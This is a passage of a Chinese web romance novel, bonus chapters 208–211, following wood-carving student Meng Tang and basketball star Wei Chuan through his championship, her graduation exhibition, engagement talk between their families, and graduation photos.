米线还很烫,孟棠索性下了楼。 魏川见到人,捏着孟棠两腮抬起了脸:“我看看,烫伤了?” 谁能大白天的在外面伸舌头?孟棠握住他的手腕,示意他松开自己:“没事,冷水冲过了,只是有点疼。” 魏川低头轻轻碰了下她的唇,毫不掩饰眼底的心疼。 “我带你吃饭去,不吃米线了。” “不行。”孟棠皱眉,“扔了缺德。” 魏川:“……一般不都说浪费可耻嘛,这话也太像老爷子说的了。” 孟棠笑了声:“你对我爷爷还挺了解。” 魏川用手指蹭了下她的脸:“真不跟我去吃饭?” “不用。”孟棠推他一把,“我回去了,你忙去吧。” 魏川揉了揉她的头发:“我去训练馆了,下次吃饭给我小心点。” “嗯。” 孟棠回到寝室,将那份不怎么烫的米线吃完了。 周一的时候,关于非遗校园活动宣传视频发了出来,并且艾特了男篮队的官方,又单独艾特了魏川和孟棠。 一经发出,流量比以前好了五六倍。 评论区比较好笑,无人在意活动—— “直接让他俩出来营业,包你有流量的。” “当时在现场,魏甜不乐意和别人单独拍照,加上老婆才可以,嗑吧。” “嗑死我了,什么纯情忠犬甜狗!” “z大,我建议你让他俩开个情侣账号。” “怎么能那么好嗑,没有一张和女生的单独合照,男德拉满了。” “嗑上这对,是我这辈子做过的最正确的决定。” “来个IP正确的告诉我一下,他俩谈多久了?” “z大体院现身说法,快一年了,听说还见了家长哦。” “一年就见家长?甜甜是真爱啊。” “是的,他超爱。” “……” 孟棠看到时,已经打算上床睡觉了。 她耐着性子翻了四十分钟的评论区,在共享相册分享了一张截图。 魏川是第二天下午才回复的。 cubal的全国赛要来了,32强赛就在五月下旬,他连孟棠的生日都错过了。 魏川本人不在,但礼物和蛋糕到位了。 孟棠有室友陪着,也算过了一个不错的生日。 魏家的其他人也给孟棠送了礼物,因为贵重,都被她送到了康 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这一场黄金时段的直播比赛比去年更为激烈。 对手还是去年的对手,今年是要一雪前耻的,各个都带着不甘上了战场。 比赛从第一节开始,战况便空前激烈。 z大前三场处于烈火烹油的煎熬状态,但有一点很好,就是比分追得紧。 魏川还没打过前三场均落后的比赛,对方越强,越激起了他的反骨。 经过不断地调整战术和士气鼓舞,全队都跟不要命似的,在第四场比赛绝处逢生。 当比分反超的最后一刻,整个场馆静默了能有十秒,随之而来的是暴烈的喝彩。 各新闻报道如雨后春笋冒了出来——“绝处逢生!z大惊天逆转,问鼎冠军!”“超级双能卫魏川末节封神”等等。 网络热榜的阅读量超亿,最后反超的镜头光速传播,还有各种各样的视频解说。 夏天一年比一年热,魏川一年比一年火。 三天后,魏川赶回学校的时候,孟棠早就回了雁清。 他当即买票就要赶过去,被孟棠阻止了。 魏川咬牙切齿地问:“为什么?” 他都多久没见到人了! 孟棠赶紧安抚在失控边缘的男朋友:“我在东簏陪爷爷参加一个电视节目。” 魏川一愣:“上电视啊?” “对啊。”孟棠淡定道,“爷爷被很多电视节目邀请过,只不过我们这行太冷,大家不关注罢了。” 孟遇春是国家级非物质文化遗产的代表性传承人,在业内有口皆碑。 他这辈子都在为黄杨木雕而奔走。 之所以在这个暑假上镜,不过是给孟棠造点势。 最后一年,她还要准备毕业设计,顺道拜访一两位好友,让他们指点指点。 这一待就要半个月,而魏川只有一个礼拜的假期。 考虑再三,他直接买了去东簏的机票,没有直达的,只能先去别的机场,再转车。 折腾了一个下午,终于在孟棠出了节目录制的现场,魏川赶到了楼下。 第208章 番外24:我能接受毕业订婚 孟棠扶着孟遇春下了台阶,看到没说一声就出现在眼前的人怔了下。 孟遇春拍了拍孟棠的手:“我跟你许爷爷先走,明天去他的工坊找我们。” “好。”孟棠应了声。 魏川和孟遇春等人打了招呼,直至车辆离开,他才对孟棠笑了笑,一把将人揽过来抱进了怀中。 严丝合缝,身体语言也暴露了他想孟棠的心。 “想死我了。”魏川心里发苦。 孟棠拍了拍他的后背:“恭喜!” 魏川松开她,问:“酒店订了没?” “订了,先回吧,我感觉你脸色有点憔悴。” “压力太大了。”魏川说,“好在赢了。” 孟棠有些心疼,他在队里年纪最小,担任的却是最重要的主力。 这种话,他绝不可能在队友和教练的面前说。 前三场比赛一直落后,他不断地安抚球员的情绪,振奋队伍的士气。 他在赛场上,即便一直输,也是意气风发的状态。 哪像现在,将一切情绪弱点暴露于人,不过孟棠不是旁人。 回酒店的路上,孟棠买了点吃的带进了房间。 房间的桌上摆了满满当当,孟棠和魏川面对面坐着,边吃边聊。 “你和老头真要在这里待到七月中旬?” 孟棠点了点头:“暂定的时间,说不定还不止。” 魏川问:“在这里干什么?” “要准备毕业设计了。”孟棠说,“黄杨木受材料生长局限,多以小件为主的。” “东簏是木雕之乡,对大件木材的技术处理有专门的一套学问。” “爷爷毕竟是一家所长,还是要集百家长处融会贯通才能创造出属于我的作品。” 最起码,东麓木雕在大件的结构和工艺这块有着更宏大的叙事能力,空间驾驭也极其丰满,不会因为人物和场景过多而杂乱。 同行业交流起来,可以打开创作视角,这一趟,孟棠是十分愿意过来的。 她认为,这次暑假就是老爷子针对她的弱点,完成一次技术升级。 魏川饭也吃不香了,叹了声气。 孟棠筷子一顿,抬眸看他:“怎么了?” 情绪突然低落了下去。 “我大四会非常忙,忙到飞起的那种。”魏川抬眸看向孟棠,“咱俩估计要同校‘异地恋’” 孟棠失笑:“没事,健康的恋爱关系本来就是要互相体谅,互相进步,互相理解。” 魏川说:“篮球这条路我肯定要走下去,但不一定是一辈子,最起码现阶段是这样的。” 这是要聊职业规划了,孟棠悄悄竖起了耳朵。 “大四上学期还是要专注cubal的比赛,还必须得打好,数据要漂亮才行。” “明天这个时候,总决赛落幕,CBA选秀了。” “你读研吗?”孟棠插了一句。 魏川点了点头:“保研至本校,读体育管理。” 孟棠笑了声:“做了两手准备啊?” 魏川“嗯”了声:“我又不能打一辈子的球,只能说前几年提高一下自己的曝光度,围绕篮球打造一下未来的职业生态系统,家里也在体育投资方面下了血本,你以为是给谁的?” 孟棠当然明白,这就跟孟遇春今天带她来录制现场是一样的道理。 如果选秀通过了,魏川完全可以创立自己的体产公司。 有魏立峰在背后支持,魏川大概率会通过。 毕竟针对他所请的训练师、体能师和经纪人团队也不是白花钱的。 孟棠抬眸看着他的眼睛:“可这些也要你自己足够优秀才行。” 魏川心里软软,朝她伸出了手。 孟棠狐疑地将手递过去,魏川低头啄了下:“吃饭。” 孟棠笑了声,给他夹了块排骨。 鉴于孟棠明天有正儿八经的事,魏川晚上并没有做的很出格。 思念的浪潮中,仅仅克制的一次,最后拥着她进入了梦乡。 第二天,魏川要跟着孟棠去工坊,被她制止了:“你回去吧。” 魏川一愣:“为什么?” 孟棠牵住他的手握了下,说:“回去好好休息两天准备训练,我这里忙不开,一天下来,没个眼神给你,你又跟我闹。” 魏川有点不太乐意走。 孟棠晃了下他的手:“回去吧,我要去工坊了。” 魏川揽住她后背,让她靠着胸膛:“行,有空给我打电话。” “好,在共享相册里给你拍视频,去吧。” 魏川低下头,把控着她的后颈亲了好久。 两人就在酒店门口道了别。 到了许家的工坊,孟遇春没看到魏川还愣了下:“那小子呢?” “我让他回去了,他忙呢。” 孟遇春微微颔首:“咱也去忙了,各自成器。” 孟棠应了声,跟着孟遇春进了工坊。 两个月的学习,孟棠确实收获了很多。 在此期间,她和魏川没再见过一面,隔几天视频打个十来分钟。 共享相册里的照片越来越多。 孟棠毕设的工作量太大,她暑假里就做好了选题,做了个大概的核心目标计划。 她有自己的导师人选,再加上孟遇春,是独一份的双导待遇。 九月和十月,孟棠并没有着急动手,研究了一个月的自然形态和哲学与伦理。 直至十月底,她才和院内导师进行了一对一的方案对话,探讨选题的可行性。 孟棠自信一定会过,因为过了孟遇春那一关。 说到最后,孟棠将料子都搬了出来,导师也惊了:“你这准备也太足了,有机会,一定得去你家的料库看一下。” 孟棠牵动唇角:“您知道,我爷爷就是从事木雕行业的,家里有这些并不稀奇,我跟其他人相比,赢就赢在这里吧。” “唉?话也不能这么说。”导师阻止她,“没有天赋和毅力,这些存着的好料你也用不上。” 这话也是中肯的。 聊到晚上七点半,孟棠才出了雕塑楼。 她打算去东门随便吃一口,刚拐上大路,路边突然窜出来一道黑影。 孟棠吓得一哆嗦,听到对方一连串的笑,上前就是一拳:“要吓死人啊?” 魏川搂住孟棠,在她脸上亲了口:“怎么这么晚才出来?是不是还没吃饭?” 孟棠回抱上去,点了点头。 两人七八天没见了,静谧的一刻,她都不想说话。 魏川低头在她发顶亲了下:“走,带你去吃饭。” “好。”孟棠离开他的怀抱,挽住了他的手臂。 两人也不记得上一次在学校里牵着手悠闲地逛是什么时候了。 从开学至今,只有这一刻才是最放松的。 魏川知道孟棠喜欢东门一家馄饨店,她喜欢吃荠菜和虾仁的。 魏川点了两份,知道孟棠吃不掉,只是想让她都吃一点,剩下的他来解决。 “这点也不够你吃的,再点一份面吧。”孟棠说,“明明也不爱吃馄饨。” 魏川笑了笑:“行,再叫一份面条。” 两人坐在拥挤的充满烟火气的馄饨店里,安静地吃了晚饭。 忙碌的日子里,一学期很快也就过去了。 魏川今年没办法去雁清,因为他去了国外,参加了一场海外篮球文化训练营。 回来又马不停蹄地为大学最后一次cubal的比赛进行高强度的训练。 但他人没到,送了一堆年礼过来。 是家里的司机和助理送过来的,孟遇春想着留人吃一顿午饭,对方还得赶回去便拒绝了: “以后都是一家人,您不要客气。” 等人走后,孟遇春看向孟棠:“一家人?他这速度,不会真把你毕业就要结婚这话听进心里了吧?” 孟棠:“……应该是吧。” 孟遇春:“……他怎么也不动动脑子,如果真的不适合你,我能让你结婚吗?” 孟棠说:“他在这方面就没动过脑子。” 孟遇春:“我能接受毕业订婚,别的暂时不行。” “好。”孟棠哄他,“我待会儿就跟魏川说。” “把手机拿远一点,我不想听到那小子的鬼吼鬼叫。”孟遇春嘴硬。 方姐在一旁拆穿:“昨晚小棠和小魏开视频的时候,您还凑上去干什么?” 孟遇春咳了声:“我出门了,你俩搁家里跟他打电话吧。” 孟棠和方姐对视一眼,无奈地笑了笑。 这么大岁数了,嘴还是那么硬。 大学的寒假也是长的,孟棠每天在家里忙着毕设雕刻。 因为材料生长受限,她的毕设用的又都是黄杨木,所以她的毕设自然得拼接。 这件作品最大的难度就在于此,但这并不能作为优劣判断的标准,因为这是工艺选择的结果。 科学传统的拼接技术也是衡量孟棠技艺水平的一道标准。 出了工坊,孟棠狠狠舒了一口气。 接了方姐送来的银耳汤,她坐在客厅的沙发上静静喝完了。 魏川在这时打了视频过来,孟棠将碗搁置在一旁,接了他的视频邀请。 “想没想我啊?”大狗露头就问。 孟棠笑着点了点头:“在哪儿呢?” 孟棠将手机拿远,用指尖转着篮球,说:“刚下训,回寝呢,你什么时候回学校?” “大后天吧。” “你可快一点过来吧,我现在被压榨到没有一点时间了。” “我看你挺精神的。” “我都是看着共享相册里的你过活的。” “夸张。” “怎么感觉你又瘦了?家里让司机送过去的东西没吃吗?” “吃了,天天泡在工坊,瘦点正常,你别大惊小怪。” 你一句我一句,十分没有营养地聊了半天。 两天一过,孟棠回了z市,她寒假雕刻的部分小件,被孟遇春雇了小货车送了过去。 孟棠到站后,是魏川来接的她。 明天才正式开学,魏川想把人直接往康铂带,孟棠赶紧阻扰:“没时间跟你闹,我要回学校。” “回学校干什么?”魏川有点懵。 “再有两个小时,雁清的木雕会送过来,我要妥善搬到木雕工作室去。” 魏川:“行,我陪你吧。” 搬完木料,孟棠还是被魏川“骗”进了康铂吃干抹净了。 第209章 番外25:你俩除了一张结婚证,还差什么 5月下旬,孟棠过了大学的最后一个生日后,雕塑系开始答辩。 答辩一天就能完成,孟棠排在前面,时间挺好的。 她的答辩非常简洁精炼,省去了一系列令答辩委员会老师们头疼且冗长的毫无意义的问题。 因为答辩的模板就是这样,但如果每个人都按照模板把课题的内容、过程讲出来,老师们也听不下去,太啰嗦了。 孟棠开头介绍了自己和指导老师后,直接从选题的原因、意义、创新点和难点进行了答辩。 雕塑系哪个不认识孟棠啊,问了两个问题,孟棠对答如流后结束了答辩。 油画系的答辩还没开始,也不在这天,孟棠直接回了寝室。 谢泠音见到她,问了句:“怎么样啊?” 孟棠点了点头:“还行吧,没什么难的。” 谢泠音竖起大拇指:“硬气。” 孟棠轻笑一声,察觉到包里的手机震动了声。 这个时间,应该是魏川打来的。 孟棠拿出手机,笑着接通了电话:“我刚到宿舍,你就给我来了电话。” “答辩怎么样?” “挺好的,我回来改一下论文,确定一个终版。” 魏川“嗯”了声:“你们什么时候拍毕业照啊?” “跟毕业典礼一前一后吧。”孟棠说,“好像要在毕业展之后。” 她改好论文的首要事情就是将作品安全地运输到美术馆里。 学生都有自己的展位,也不是作品运到了就万事大吉,孟棠还得布置说明牌,调整灯光布展。 那天,老爷子也会过来的。 魏川沉默了一瞬。 谈了这么久,孟棠哪里不知道魏川的想法,说:“毕业展对我而言很重要,cubal对你而言也很重要,这是我们在学校最后一次的比赛和作品,我觉得,各自努力就好。” 魏川应了声,语气还是有些失落:“我知道,那天我爸妈也会去的。” 孟棠惊讶了一瞬:“他们不去看你比赛吗?” “又不是总决赛。”魏川说,“只是八强赛,我让他们去你的展览。” “好。”孟棠没再拒绝。 毕业展对学生来说,是一次很重要的露脸机会。 因为当日美术馆向公众和媒体开放,现场会有不少的收藏家、艺术家和画廊主前来观看。 展览12号开幕,孟棠和同学们通力合作,在六月初完成了作品包装和展位细节。 运输也是个磨人的活计,生怕出点纰漏,这边断了一截,那边少了一块,只能全程盯着。 展览开幕的前一天,孟棠和谭曦终于完成了所有布置。 两人回到学校,随便吃了一口。 谭曦感慨地问了句:“咱俩以后还会有来往吗?” “你毕业了就把我删了?”孟棠有些疑惑。 谭曦倏地一笑:“行,等你和魏川结婚,记得请我喝喜酒。” 孟棠:“……八字还没一撇呢。” “怎么会?”谭曦完全不信,“你明天的展览,除了他,他家里人都来,你俩除了一张结婚证,还差什么?” 孟棠吃饱了,放下筷子,说:“他不能来是因为他在比赛。” “那也挺重视了。”谭曦拿起餐盘起身,和孟棠一起出了食堂的门往宿舍去。 12号上午十点,z大美院的毕业展在美术馆正式开幕。 开馆提示音刚落,展厅入口人流涌动。 孟棠看到老爷子,赶紧迎了上去:“爷爷。” 孟遇春一身唐装,得体端方,他对孟棠笑了笑:“低调。” 孟棠失笑:“院长马上过来。” “来就来呗。”孟遇春轻嗤了声,“他不来我才觉得奇怪。” 孟棠碰了下老爷子的手臂:“魏川家人来了。” 老爷子瞬间挺直了腰背:“来就来呗,我这么大岁数了,也是他们过来打招呼。” 话落,魏立峰等人已经到了跟前,孟棠赶紧打了招呼。 魏立峰微微颔首,转头跟孟遇春打了招呼,这是双方的第一次见面,没想到不是在酒店餐厅,而是在孟棠的毕业展上面。 孟棠的作品在展厅正中央,往里走两步,一眼就能看到。 一群人往里走时,陈洵礼和孟棠的几位老师也一道过来了。 几人看到孟遇春,异常激动,尤其是陈洵礼,不知道的还以为他是孟遇春失散多年的儿子。 楚茵和魏立峰来到孟棠的作品面前,只一眼,就被惊得说不出话。 这是一件以老料为基地,长1.5米,高0.8米的充满画面感和视觉刺激的作品。 旁边的牌上有创作的核心概念,借古代手工业再现匠心传承。 作品采用全景式、多人物、高浮雕与圆雕结合的构图,以一座想象中的古代工坊为核心场景,雕刻了一副十足惊艳的大型全景式群雕。 空间立体,层次分明,匠人在中间的核心区,往外是逐层降低的。 工坊中忙碌的学徒和工匠明明一动不动,却在巧妙的s型构图上形成了具有韵律节奏的流动性,使整个场景看上去有一种流畅的动态感。 楚茵说不出一句话来,仰着头呆呆地看。 魏立峰轻笑一声,问她:“怎么样啊?” 楚茵点了点头:“看着不像是年轻人雕刻出来的东西,以前咱家老爷子在世的时候不也喜欢捣鼓这些,库房里还有他收的木雕呢,感觉孟棠雕的一点不差。” “这句评价是真高。”魏立峰笑了声。 没一会儿,孟棠的作品面前挤满了人,还有不少媒体。 赵行衍今天也过来了,不过他比魏立峰来得迟。 见到《匠心》的第一眼,他发自内心地赞叹了几句好听的话。 赵行衍有点内行门道,看出了孟棠作品中的工匠三大神,分布在作品的视觉中心区域。 赵行衍转过头,问孟棠:“你这个难度太大了,材料的特性和你创作的宏景有根本性的冲突。” “确实,无大料和大作品的矛盾。”旁人的藏家插了句嘴。 “黄杨木生长缓慢是行业共识,所以有‘千年难长黄杨木’的说法,但也不是没有,只不过太过罕见,价格不是一个学生能够承担得起的。” 越来越多的人加入讨论。 “是啊,长度超过一米的整料已经是罕见,物理上几乎不能够实现这样庞大的群雕,可我看料子,确实是黄杨木,怎么做到的?” “拼接啊,这也是一种高级工艺的展现,我只是没想到一个本科小丫头能做到这些。” “确实厉害,场景和空间都比较复杂,又和传统黄杨木雕的‘小而精”的范式相悖,小丫头,你导师是谁啊?” 孟棠笑了笑:“有两位,一个是学院里的老师,一个是我爷爷。” 有人注意到孟棠旁边昂首挺胸的老者,孟遇春淡然地微微颔首。 陈洵礼站出来,给众人介绍了孟遇春。 众人这才恍然,怪不得能做到这样的地步,人家后面站着真神呢。 赵行衍又问:“但木材内在的应力有开裂的风险,即便拼接,不同木块的内在应力也不同啊。” 这样一来,最坏的情况就是会导致木头扭曲或拼接处开裂。 也是对结构工程学的一次挑战,毕竟大型木雕悬空和镂空的部分多,会存在一些比较弱的节点。 孟棠笑了笑,说:“这些东西在设计前全都考虑过,就是‘无中生有’,拼接也不是简单的粘合。” “我用了很多种的榫卯结构,像鸠尾榫、穿销榫和嵌银丝榫等等,另外,从内部拼接就可以增加合力,随着木材呼吸收缩,降低开裂的风险。” 而且有接缝的地方,她全都用人物的衣纹褶皱或工具器皿,或山石纹理刻画成了造型的一部分,肉眼难以分辨,这就叫“天衣无缝”。 不少媒体对着哐哐一顿拍,魏立峰等人看得看不多了,一起往展厅外走。 临近中午,展厅里的人陆续变少。 魏立峰对孟遇春说:“时间不早了,餐厅我已经叫人订好了,老爷子移步,一同用个餐吧。” “嗯。”孟遇春微微颔首,径自往前面走了。 魏立峰落后半步,始终陪着。 车就在美术馆的外面等着,魏立峰知道孟遇春今天过来,来的时候让司机开的多座商务车。 等长辈全都上了车,孟棠才一脚踏了进去。 餐厅就在学校附近,十来分钟的车程。 魏立峰提前打过招呼,他们进包间的时候,服务员已经开始上菜了。 孟遇春扫了一眼菜系,心里越发满意。 不少都是雁清的菜,清淡的,应该是迎合他的口味,剩下的一些都是孟棠爱吃的。 饭桌不可能没酒,魏立峰刚要敬酒,孟遇春直接婉拒了:“年纪大了,不能喝。” 魏立峰没有强求,坐下后和老爷子闲聊。 楚茵和孟棠坐在一起,问了她毕业之后的一些打算。 孟棠也没隐瞒,道:“回雁清的,去非遗传工作,已经落实了。” 虽然早就知道,但楚茵心里还是有点不舍。 按照魏川的性子,除了比赛,必然要跟着孟棠跑。 楚茵往孟棠那边靠了靠:“那你什么时候走?” “毕业典礼办完就走,魏川正好也结束了比赛。”孟棠说。 “那……”楚茵试探性地张口,“你俩有考虑过以后吗?” 孟棠这两年早就摸透了楚茵的性格,她笑着问:“您想问的是结婚的事吗?” 第210章 番外26:想早点见到你 楚茵没想到自己的想法被孟棠看了出来,赶紧解释:“我没有催的意思,就是问问。” 还不是自家的臭小子跟她提过毕业就结婚的,如果他俩真的这样想,她就得准备起来了呀。 即便不结婚,订婚也要准备的。 两个地方的习俗又不一样,她不得提前了解一下该准备什么吗?钱财倒是好准备,就怕心意之类的出差错。 “我明白的。”孟棠说,“我跟魏川都不排斥。” 楚茵一喜:“真的?可你不觉得你还年轻吗?” 魏思嘉这么多年不结婚,楚茵嘴上不说,其实心里很愁。 二闺女整天在军营里见不到人,更是愁上加愁,魏思沅整天不着调,也不算贴心,但孟棠不一样,会耐心地跟她聊天,这一点,楚茵很喜欢,不自觉就要为她考虑。 “年轻身体好,早点要孩子没坏处。”孟棠说。 楚茵得亏没在吃饭,不然这会儿得呛个半死,甚至,她怀疑自己耳朵出了问题。 现在哪个年轻人愿意生孩子啊?这个孟棠,别太爱魏川了。 “那什么,你俩感情好,我知道,但结婚是大事,还是要慎重。”楚茵竟然帮着劝了一句,魏川要是知道,怕是要心梗。 孟棠笑道:“我知道的,阿姨,早点要孩子是我的想法。” “为什么?”楚茵还是没搞懂。 孟棠说:“我得把手艺传下去,这行除了天赋外,时间也格外重要,不能浪费一分一秒。” “啊?”楚茵有点不情愿了,“这也太苦了。” 让她的大孙子大孙女去学木雕?真狠心啊! 孟棠淡然道:“首先得有天赋,才有吃苦的资格。” 实在没有天赋,她也强求不来,收徒就行。 不过她也不愿意让小孩活在养尊处优的世界里,楚茵一看就是会惯孩子的。 魏川没歪,跟魏立峰有很大的关系。 而魏川嘛,孟棠几乎能断定,绝对也是个惯孩子的主。 楚茵彻底无话了,这个小孟棠,看着柔柔弱弱的,骨子里的主意比谁都正,也比谁都强势。 魏川败在她手心里,属实有原因。 魏立峰那边也和孟遇春提到了这个问题,毕竟孟遇春难得来一趟,面对面地聊还是更有诚意一些。 孟遇春说:“不管订婚还是结婚,都以孩子们想法为主,我们准备着就行。” 魏立峰点了点头:“这话不错。” 今天肯定不可能定下来,还得找个吉利的日子去一趟雁清,正式商谈才好。 吃完饭,孟遇春就要往车站去,下午他要回雁清,孟棠要去送人,被魏立峰拦住了:“你放心,我们送,你回学校吧。” “行吧,谢谢叔叔。” “赶紧回吧。” 学校里还有一堆的事要处理,孟棠也就没和他们再客气。 美术馆的毕设展览一般20天左右,当天下午,孟棠接了数十张经纪人的名片。 孟棠知道,这是一个长期合作的信号。 方式无非是签订代理协议,由艺术经纪人的专业渠道和客户资源为她寻找最为合适的藏家。 他们会对作品进行宣传和包装,谈判交易后,要支付给他们一定的佣金比例。 孟棠自己有藏家的客户资源,孟遇春手里一大把。 真的想卖的话,站着就能卖掉,她这件标注了非卖品。 所以人家也不急,只是递了名片,想要寻一个长期合作的机会。 大庭广众之下也不能得罪人,孟棠收了人家的名片。 这件《匠心》早就被陈洵礼透露给了旬礼安,孟棠也乐意捐赠给博物馆。 即便捐赠后,只保留署名权,孟棠也是乐意的。 而且博物馆的藏品量太大,作品入库后也未必就能展出,可能一直待在库房。 但进了博物馆,总有一丝被展出的希望。 让自己沉淀四年的作品卖上几十万和进入博物馆,孟棠当然选择后者,不会有一丝犹豫。 毕业典礼之前,魏川作为大学生的最后一战,赢得了三连冠的美称。 孟棠的作品也在网络上顺利出圈。 但这些年的网友闲出屁来了,质疑孟棠作品造假,是他人代刻。 为什么会有这样的怀疑呢?无非是媒体传出的一张照片。 她年龄最小一个人站在c位,左边是孟遇春、陈洵礼和作品的导师,右边站着魏立峰、楚茵和赵行衍,另外两边各站了比较出名的艺术经纪人和收藏家。 网友扒人的能力极为出众,各位大佬的社会身份全都被扒了出来。 这样的阵容,不得不让网友们感叹一句是为了给c位的孟棠造势。 作品太令人惊艳,年纪却很让人怀疑。 甚至一些人已经开始造谣了,黄谣都有。 魏川刚下飞机就知道了这件事,总冠军的热度还没下去,他直接在自己三大平台的个人账号上发了一句话: 我他妈一句话也不想给我女朋友解释,那些造谣的等着我告死你吧! 魏川的形象一向正面积极,平日里各平台的营业和队友的相处,他的球迷和粉丝不是没眼睛。 少爷一怒,粉丝们纷纷力挺,毕竟,他们已经看了魏川秀了两年的恩爱,早已接受了孟棠是唯一嫂子。 甚至他俩还有cp粉,只不过孟棠不营业,大家都在魏川的评论区里舞。 魏川也乐得他们舞。 孟棠被造谣的事情一出,这些cp粉纷纷出动控评,人数虽少,但行为挺让人暖心的。 魏川怒火中烧,当即给魏思嘉打了电话,让她找律师告人。 魏思嘉将会议延后了十分钟,弄清楚来龙去脉后,让秘书接受了这件事。 田聿拍了下魏川的肩膀:“先回学校了,为这些人生气值得吗?” “操。”魏川咬紧了后槽牙,又努力控制了下情绪,“走吧。” 孟棠本人倒是没有被网络上言论影响,她手里有一段剪辑过的视频,是她创作《匠心》的全过程。 从初期构想到选题确定,再到选料凿坯,精细刻画…… 她在摸索自己的短视频账号,捣鼓了好久,还让谢泠音她们帮助自己弄了滤镜和文字。 最后,有着纪录片质感的长达36分钟的视频被她发送了出去。 石岚突然尖叫了声,吓得孟棠和谢泠音回头看她。 “怎么了?” 石岚翻转手机,一脸姨母笑,对孟棠说:“魏川帅爆了,在网上力挺你。” 谢泠音说:“他们这个点,应该下飞机了吧?” 孟棠低头看了眼自己的手机屏幕,她不是关注魏川了吗?怎么没有推送呢? 她直接搜索魏川,进了他的主页。 确实有最新一条动态,孟棠看到掷地有声的一行字,轻笑了声,退到主页给他打了个电话。 彼时魏川刚上了大巴往学校赶。 他一个人坐在最后面,刚接了律师的电话,在孟棠的电话进来之前,他一直是不爽的状态。 魏川做了两个深呼吸,接了孟棠的电话:“喂,知道我下飞机了?” 声音温柔缱绻,弄得孟棠耳朵一麻。 她轻声应道:“知道,什么时候到学校?” “想我了?”魏川开玩笑,“再过半小时就到了,乖乖等我。” “好啊。”孟棠故作轻松,确实很久没见了,说实话,她有点紧张,“晚上吃什么?” 魏川说:“你想吃什么都可以,在我回去的这段路上想一想。” “行,那我换件衣服,先挂了。” “嗯。” 孟棠挂断电话后,立刻翻箱倒柜。 谢泠音快要被她笑死了:“你又不是没见过他,有必要吗?” 孟棠讨饶道:“我都一个多月没见他了。” 确实有点心酸,谢泠音说:“你披个麻袋,魏川都会说你好看的,放轻松啦。” 孟棠看了眼时间,选了件粉色长袖印花猫咪T恤衫,配了个白色短裙。 换好衣服后,她朝室友们挥了下手:“我走了。” “今晚还回吗?” “明天拍毕业照,别忘了。” “后天毕业典礼也别忘了。” 一人一句,臊得孟棠想直接跳下去。 她哼了声,加快速度离开了寝室。 骑着自己的小电车到大门口,魏川的大巴还没到。 孟棠将车停好,抱着手臂静静等在大门口。 也不知道是不是堵车,大巴迟迟没来。 孟棠点开手机,搜索了一下附近的餐厅,可搜来搜去,一点胃口都没有。 她现在只想快点见到魏川。 又耐心等了十来分钟,一道强烈的车灯照亮了z大艺体校区的正门。 孟棠抬起胳膊挡住了眼睛,等大巴车彻底停下,她才放下了胳膊。 车里第一个下来的是助理教练,看到孟棠时,直接过来打了招呼。 孟棠回应了声,迟迟没等到车上的动静,但听到了贺教练在说话。 大概就是针对魏川和田聿,还有邵一鸣是大四的球员,说了一些感慨的话,毕竟毕业后就要分道扬镳。 大概五分钟,车里响起了一阵掌声。 “下去吧。”贺教练挥了挥手。 球员们下了车,一个个看到孟棠还愣了下,愣之后又给她打了招呼,然后也不走了,站到一旁等着魏川。 孟棠不明白什么情况,问邵一鸣:“魏川呢?” 邵一鸣抬了抬下巴:“不是下来了吗?” 魏川看到孟棠时一愣:“你怎么来了?” 怎么没在寝室等他呢? 这次,孟棠没有以往的羞赧,当着一众队友和教练的面,说:“想早点见到你。” “哦哦……” 田聿等人带头起哄。 魏川笑了声,跳下车一把将孟棠抱进了怀中。 第211章 番外27:生怕我娶上媳妇 校门口,起哄的人全都走了,魏川脸色变了下,在孟棠的后腰暧昧地拍了下:“裙子短了。” 孟棠轻嗤:“管那么宽。” “不像你平日的风格。”魏川往回找补,力证自己是开明的男朋友。 “跟泠音一起买的。”孟棠挽住魏川的胳膊,“第一次穿。” 魏川明白了,靠近她耳侧故意道:“为我穿的啊?” 孟棠对着他胸口就是一击:“走不走?不走我走了。” “走。”魏川赶紧搂住她,“这不就走了嘛,想吃什么?” “回康铂吃吧。”孟棠双手交叉抱臂,任由魏川搂着她走。 “行。”魏川拿起手机,“我现在就让人送餐,回去就能吃。” 回去吃正合他意,今晚势必要操劳一番的。 饱暖思淫欲,这话一点不假。 吃过晚饭,魏川就火急火燎地催着孟棠去洗了澡。 等两人都回了卧室,魏川像饿狼扑兔,孟棠下意识抬脚抵住他心口。 魏川微微歪了下头:“什么意思?” “明天拍毕业照,不许亲脖子。”孟棠说。 “可以。”魏川爽快地应了下来,握住她的脚踝将人猛地一扯,压在了身下。 不至于一夜荒唐,因为孟棠后半夜累得睡过去了。 早上八点要去领学士服拍照,孟棠的手机定了闹钟,不然这两人都得迟到。 乱七八糟地吃完了早餐,孟棠和魏川急匆匆赶去了学校。 两人在行政楼前分开,各自回了院系拍照的地方。 谭曦给孟棠拿了学士服,孟棠道了声谢,直接套在了衣服外面。 照片就在行政楼前拍摄,正好有很长的一段阶梯,雕塑系人不多,摄影师指挥起来还算轻松。 前前后后忙碌了一个小时,终于将每个专业的毕业照拍了。 轮到院系大合照时换了个位置,在中心广场,背景是图书馆。 这次人多,拍起来都累人,密密麻麻一群人,孟棠怀疑照片出来都找不到自己在哪儿。 毕业照拍到中午才散,学士服暂时不用归还,因为明天还有毕业典礼。 孟棠和室友边说边笑去了食堂,巧的是,遇到了魏川寝室的人。 谢泠音笑了声:“怎么感觉你们专门在这儿守株待兔呢?” “被你猜对了。”许鹤清伸手,替她接过装学士服的袋子,“我们这边拍的很快,知道你们要回寝,肯定经过这个食堂,就在这边等你们了。” 魏川看到在李卓旁边的文心予,朝她笑了下:“毕业照你拍的吗?” 文心予摇了摇头:“没有,给同学拍了几张,下午给你们拍,李卓早就跟我约好了。” 一群人没去一楼,进了二楼餐厅,找了个大圆桌。 下午还要拍个人照,他们没在食堂待多久。 女生们回了寝室后,开始换衣服化妆。 艺体校区的景很漂亮,女生拍照时间太长,男生们没跟过去。 孟棠的寝室从单人到群体,拍了两个小时。 魏川他们过来的时候,孟棠已经累得走不动道了。 她其实不爱拍照,但架不住另外三个的热情。 魏川帮她捏了捏肩,凑过来小声说:“我不管啊,你还没和我拍。” “拍。”孟棠靠上他肩头,“先让泠音和许鹤清拍吧,咱俩坐着缓一缓。” “行。” 魏川应了声,看热闹不嫌事大,开始指挥起许鹤清的拍照姿势来: “你倒是离得近一点啊,头歪一点,笑一笑行吗?” “让你看,不是完全让你侧着啊,往文心予的角度稍微偏一下,不然看不见你了。” “亲一个。” “抱一个。” 孟棠:“……你先闭嘴。” 魏川乖乖闭上了嘴巴。 